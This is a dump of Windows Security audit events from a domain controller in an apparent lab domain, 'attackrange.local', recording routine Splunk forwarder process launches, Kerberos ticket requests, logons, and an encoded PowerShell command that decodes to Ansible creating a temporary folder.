Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252199
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xaac
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x13dc
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\perfmon.cmd" --scheme"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252198
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12e4
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x13dc
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\admon.cmd" --scheme"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252197
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x105c
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x13dc
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinRegMon.cmd" --scheme"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252196
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9a4
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x13dc
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinPrintMon.cmd" --scheme"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252195
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x132c
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x13dc
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinNetMon.cmd" --scheme"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:06 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252194
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x122c
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x13dc
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinHostMon.cmd" --scheme"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252262
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x155237

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252261
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x155237
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{D9842D1F-32A3-5579-228A-FC8C9908A53A}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252260
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{D9842D1F-32A3-5579-228A-FC8C9908A53A}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252259
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{D9842D1F-32A3-5579-228A-FC8C9908A53A}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252258
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252257
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1550A0

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252256
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x1550A0
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64623

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252255
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1550A0

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252254
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x155012

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252253
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x155012
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64622

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252252
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x155012

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252251
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x154C03

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x284
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x7dc
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBBAGsAQQBIAFEAQQBiAFEAQgB3AEEARgA4AEEAYwBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBEADAAQQBJAEEAQgBiAEEARgBNAEEAZQBRAEIAegBBAEgAUQBBAFoAUQBCAHQAQQBDADQAQQBSAFEAQgB1AEEASABZAEEAYQBRAEIAeQBBAEcAOABBAGIAZwBCAHQAQQBHAFUAQQBiAGcAQgAwAEEARgAwAEEATwBnAEEANgBBAEUAVQBBAGUAQQBCAHcAQQBHAEUAQQBiAGcAQgBrAEEARQBVAEEAYgBnAEIAMgBBAEcAawBBAGMAZwBCAHYAQQBHADQAQQBiAFEAQgBsAEEARwA0AEEAZABBAEIAVwBBAEcARQBBAGMAZwBCAHAAQQBHAEUAQQBZAGcAQgBzAEEARwBVAEEAYwB3AEEAbwBBAEMAYwBBAEoAUQBCAFUAQQBFAFUAQQBUAFEAQgBRAEEAQwBVAEEASgB3AEEAcABBAEEAbwBBAEoAQQBCADAAQQBHADAAQQBjAEEAQQBnAEEARAAwAEEASQBBAEIATwBBAEcAVQBBAGQAdwBBAHQAQQBFAGsAQQBkAEEAQgBsAEEARwAwAEEASQBBAEEAdABBAEYAUQBBAGUAUQBCAHcAQQBHAFUAQQBJAEEAQgBFAEEARwBrAEEAYwBnAEIAbABBAEcATQBBAGQAQQBCAHYAQQBIAEkAQQBlAFEAQQBnAEEAQwAwAEEAVQBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBDAFEAQQBkAEEAQgB0AEEASABBAEEAWAB3AEIAdwBBAEcARQBBAGQAQQBCAG8AQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAEoAdwBCAGgAQQBHADQAQQBjAHcAQgBwAEEARwBJAEEAYgBBAEIAbABBAEMAMABBAGQAQQBCAHQAQQBIAEEAQQBMAFEAQQB4AEEARABZAEEATQBRAEEAMABBAEQAWQBBAE0AQQBBAHkAQQBEAFUAQQBPAFEAQQB6AEEAQwA0AEEATQB3AEEAMwBBAEQAWQBBAE8AQQBBADEAQQBEAEEAQQBPAEEAQQB0AEEARABJAEEATgBnAEEAMQBBAEQARQBBAE8AQQBBADUAQQBEAEUAQQBNAEEAQQAxAEEARABjAEEATwBBAEEANQBBAEQAZwBBAE0AQQBBAHgAQQBDAGMAQQBDAGcAQgBYAEEASABJAEEAYQBRAEIAMABBAEcAVQBBAEwAUQBCAFAAQQBIAFUAQQBkAEEAQgB3AEEASABVAEEAZABBAEEAZwBBAEMAMABBAFMAUQBCAHUAQQBIAEEAQQBkAFEAQgAwAEEARQA4AEEAWQBnAEIAcQBBAEcAVQBBAFkAdwBCADAAQQBDAEEAQQBKAEEAQgAwAEEARwAwAEEAYwBBAEEAdQBBAEUAWQBBAGQAUQBCAHMAQQBHAHcAQQBUAGcAQgBoAEEARwAwAEEAWgBRAEEASwBBAEUAawBBAFoAZwBBAGcAQQBDAGcAQQBMAFEAQgB1AEEARwA4AEEAZABBAEEAZwBBAEMAUQBBAFAAdwBBAHAAQQBDAEEAQQBlAHcAQQBnAEEARQBrAEEAWgBnAEEAZwBBAEMAZwBBAFIAdwBCAGwAQQBIAFEAQQBMAFEAQgBXAEEARwBFAEEAYwBnAEIAcABBAEcARQBBAFkAZwBCAHMAQQBHAFUAQQBJAEEAQgBNAEEARQBFAEEAVQB3AEIAVQBBAEUAVQBBAFcAQQBCAEoAQQBGAFEAQQBRAHcAQgBQAEEARQBRAEEAUgBRAEEAZwBBAEMAMABBAFIAUQBCAHkAQQBIAEkAQQBiAHcAQgB5AEEARQBFAEEAWQB3AEIAMABBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBVAHcAQgBwAEEARwB3AEEAWgBRAEIAdQBBAEgAUQBBAGIAQQBCADUAQQBFAE0AQQBiAHcAQgB1AEEASABRAEEAYQBRAEIAdQBBAEgAVQBBAFoAUQBBAHAAQQBDAEEAQQBlAHcAQQBnAEEARwBVAEEAZQBBAEIAcABBAEgAUQBBAEkAQQBBAGsAQQBFAHcAQQBRAFEAQgBUAEEARgBRAEEAUgBRAEIAWQBBAEUAawBBAFYAQQBCAEQAQQBFADgAQQBSAEEAQgBGAEEAQwBBAEEAZgBRAEEAZwBBAEUAVQBBAGIAQQBCAHoAQQBHAFUAQQBJAEEAQgA3AEEAQwBBAEEAWgBRAEIANABBAEcAawBBAGQAQQBBAGcAQQBEAEUAQQBJAEEAQgA5AEEAQwBBAEEAZgBRAEEAPQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252250
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x154F4F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252249
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x154F4F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
